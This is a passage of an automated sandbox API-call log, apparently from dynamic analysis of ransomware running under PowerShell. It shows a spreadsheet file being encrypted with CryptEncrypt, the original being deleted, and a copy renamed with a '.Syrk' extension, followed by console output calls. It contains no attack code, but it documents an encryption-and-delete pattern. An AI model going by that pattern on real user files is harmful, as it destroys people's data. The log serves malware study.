pdwDataLen=0x5a2ea00*=0xf050) returned 1 [0191.516] WriteFile (in: hFile=0x344, lpBuffer=0x2415510*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x2415510*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0191.517] WriteFile (in: hFile=0x344, lpBuffer=0x242e49c*, nNumberOfBytesToWrite=0xe064, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x242e49c*, lpNumberOfBytesWritten=0x5a2e9e4*=0xe064, lpOverlapped=0x0) returned 1 [0191.519] ReadFile (in: hFile=0x45c, lpBuffer=0x2419498, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x2419498*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0191.519] CryptEncrypt (in: hKey=0x5c69180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x243c574*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x243c574*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0191.519] CryptEncrypt (in: hKey=0x5c69180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x243c590*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x243c590*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0191.519] WriteFile (in: hFile=0x344, lpBuffer=0x2415510*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x2415510*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0191.519] CloseHandle (hObject=0x344) returned 1 [0191.521] CloseHandle (hObject=0x45c) returned 1 [0191.521] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.522] EtwEventActivityIdControl () returned 0x0 [0191.522] EtwEventActivityIdControl () returned 0x0 [0191.522] EtwEventActivityIdControl () returned 0x0 [0191.528] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls")) returned 0x20 [0191.557] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0191.557] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", lpFilePart=0x0) returned 0x30 [0191.558] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0191.558] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0191.558] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0191.558] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0191.558] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0191.559] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0191.559] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0191.559] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0191.559] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0191.559] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0191.559] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0191.559] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0191.559] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0191.560] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0191.560] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0191.560] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0191.560] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl")) returned 0x10 [0191.560] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl")) returned 0x10 [0191.560] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0191.560] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", lpFilePart=0x0) returned 0x28 [0191.561] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls")) returned 0x20 [0191.561] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0191.561] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", lpFilePart=0x0) returned 0x30 [0191.565] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0191.565] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", lpFilePart=0x0) returned 0x30 [0191.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0191.565] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0191.565] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", lpFilePart=0x0) returned 0x30 [0191.565] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0191.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0191.566] CoTaskMemAlloc (cb=0x404) returned 0x5c632d0 [0191.566] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c632d0, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0191.566] CoTaskMemFree (pv=0x5c632d0) [0191.569] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls")) returned 0x20 [0191.569] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0191.569] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", lpFilePart=0x0) returned 0x30 [0191.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0191.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls"), fInfoLevelId=0x0, lpFileInformation=0x2451ab0 | out: lpFileInformation=0x2451ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b8d9f30, ftCreationTime.dwHighDateTime=0x1d98de4, ftLastAccessTime.dwLowDateTime=0x9fc8dea0, ftLastAccessTime.dwHighDateTime=0x1d99cdc, ftLastWriteTime.dwLowDateTime=0x9fc8dea0, ftLastWriteTime.dwHighDateTime=0x1d99cdc, nFileSizeHigh=0x0, nFileSizeLow=0xf05a)) returned 1 [0191.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0191.570] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls")) returned 1 [0191.573] EtwEventActivityIdControl () returned 0x0 [0191.574] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.575] EtwEventActivityIdControl () returned 0x0 [0191.575] EtwEventActivityIdControl () returned 0x0 [0191.575] EtwEventActivityIdControl () returned 0x0 [0191.584] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls.syrk")) returned 0x20 [0191.585] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls.syrk")) returned 0x20 [0191.585] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0191.585] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls.Syrk", nBufferLength=0x36, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls.Syrk", lpFilePart=0x0) returned 0x35 [0191.586] EtwEventActivityIdControl () returned 0x0 [0191.586] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.587] EtwEventActivityIdControl () returned 0x0 [0191.587] EtwEventActivityIdControl () returned 0x0 [0191.587] EtwEventActivityIdControl () returned 0x0 [0191.592] EtwEventActivityIdControl () returned 0x0 [0191.636] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.637] EtwEventActivityIdControl () returned 0x0 [0191.637] EtwEventActivityIdControl () returned 0x0 [0191.637] EtwEventActivityIdControl () returned 0x0 [0191.643] EtwEventActivityIdControl () returned 0x0 [0191.643] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.644] EtwEventActivityIdControl () returned 0x0 [0191.644] EtwEventActivityIdControl () returned 0x0 [0191.644] EtwEventActivityIdControl () returned 0x0 [0191.659] EtwEventActivityIdControl () returned 0x0 [0191.659] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.660] EtwEventActivityIdControl () returned 0x0 [0191.660] EtwEventActivityIdControl () returned 0x0 [0191.660] EtwEventActivityIdControl () returned 0x0 [0191.665] EtwEventActivityIdControl () returned 0x0 [0191.665] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.665] EtwEventActivityIdControl () returned 0x0 [0191.665] EtwEventActivityIdControl () returned 0x0 [0191.665] EtwEventActivityIdControl () returned 0x0 [0191.762] EtwEventActivityIdControl () returned 0x0 [0191.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0191.779] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls.syrk"), fInfoLevelId=0x0, lpFileInformation=0x245c238 | out: lpFileInformation=0x245c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee60700, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xeee60700, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xeee86860, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xf074)) returned 1 [0191.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0191.781] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e740 | out: lpConsoleScreenBufferInfo=0x5a2e740) returned 1 [0191.821] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e738 | out: lpMode=0x5a2e738) returned 1 [0191.822] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e72c, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e72c*=0x2) returned 1 [0191.823] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6e4 | out: lpConsoleScreenBufferInfo=0x5a2e6e4) returned 1 [0191.823] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e738 | out: lpConsoleScreenBufferInfo=0x5a2e738) returned 1 [0191.824] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e730 | out: lpMode=0x5a2e730) returned 1 [0191.824] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e724, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e724*=0x2) returned 1 [0192.164] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e748 | out: lpConsoleScreenBufferInfo=0x5a2e748) returned 1 [0192.186] GetConsoleOutputCP () returned 0x1b5 [0192.186] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4b8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4b8) returned 0 [0192.186] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e598 | out: lpConsoleScreenBufferInfo=0x5a2e598) returned 1 [0192.187] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e590 | out: lpMode=0x5a2e590) returned 1 [0192.187] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24818f0*, nNumberOfCharsToWrite=0x37, lpNumberOfCharsWritten=0x5a2e584, lpReserved=0x0 | out: lpBuffer=0x24818f0*, lpNumberOfCharsWritten=0x5a2e584*=0x37) returned 1 [0192.188] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e590 | out: lpMode=0x5a2e590) returned 1 [0192.188] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e584, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e584*=0x2) returned 1 [0192.189] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6a0 | out: lpConsoleScreenBufferInfo=0x5a2e6a0) returned 1 [0192.189] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e698 | out: lpMode=0x5a2e698) returned 1 [0192.191] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e68c, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e68c*=0x2) returned 1 [0192.192] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e738 | out: lpConsoleScreenBufferInfo=0x5a2e738) returned 1 [0192.193] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e730 | out: lpMode=0x5a2e730) returned 1 [0192.193] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e724, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e724*=0x2) returned 1 [0192.194] GetConsoleOutputCP () returned 0x1b5 [0192.195] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0192.195] GetConsoleOutputCP () returned 0x1b5 [0192.195] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0192.195] GetConsoleOutputCP () returned 0x1b5 [0192.195] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0192.195] GetConsoleOutputCP () returned 0x1b5 [0192.196] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0192.196] GetConsoleOutputCP () returned 0x1b5 [0192.196] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0192.196] GetConsoleOutputCP () returned 0x1b5 [0192.196] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0192.196] GetConsoleOutputCP () returned 0x1b5 [0192.197] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0192.197] GetConsoleOutputCP () returned 0x1b5 [0192.197] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0192.197] GetConsoleOutputCP () returned 0x1b5 [0192.198] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0192.198] GetConsoleOutputCP () returned 0x1b5 [0192.198] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0192.198] GetConsoleOutputCP () returned 0x1b5 [0192.198] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0192.198] GetConsoleOutputCP () returned 0x1b5 [0192.199] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0192.199] GetConsoleOutputCP () returned 0x1b5 [0192.199] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0192.199] GetConsoleOutputCP () returned 0x1b5 [0192.199] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0192.199] GetConsoleOutputCP () returned 0x1b5 [0192.200] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0192.200] GetConsoleOutputCP () returned 0x1b5 [0192.200] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0192.200] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e698 | out: lpConsoleScreenBufferInfo=0x5a2e698) returned 1 [0192.201] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0192.205] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2482264*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x2482264*, lpNumberOfCharsWritten=0x5a2e684*=0x4f) returned 1 [0192.206] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0192.206] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e684*=0x2) returned 1 [0192.207] GetConsoleOutputCP () returned 0x1b5 [0192.208] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0192.208] GetConsoleOutputCP () returned 0x1b5 [0192.208] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0192.208] GetConsoleOutputCP () returned 0x1b5 [0192.208] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0192.208] GetConsoleOutputCP () returned 0x1b5 [0192.209] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0192.209] GetConsoleOutputCP () returned 0x1b5 [0192.209] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0192.209] GetConsoleOutputCP () returned 0x1b5 [0192.210] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0192.210] GetConsoleOutputCP () returned 0x1b5 [0192.210] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0192.210] GetConsoleOutputCP () returned 0x1b5 [0192.213] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0192.213] GetConsoleOutputCP () returned 0x1b5 [0192.213] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0192.213] GetConsoleOutputCP () returned 0x1b5 [0192.213] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0192.213] GetConsoleOutputCP () returned 0x1b5 [0192.214] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0192.214] GetConsoleOutputCP () returned 0x1b5 [0192.214] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0192.214] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e698 | out: lpConsoleScreenBufferInfo=0x5a2e698) returned 1 [0192.215] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0192.215] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x248270c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x248270c*, lpNumberOfCharsWritten=0x5a2e684*=0x4f) returned 1 [0192.216] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0192.216] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e684*=0x2) returned 1 [0192.217] GetConsoleOutputCP () returned 0x1b5 [0192.218] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0192.218] GetConsoleOutputCP () returned 0x1b5 [0192.218] 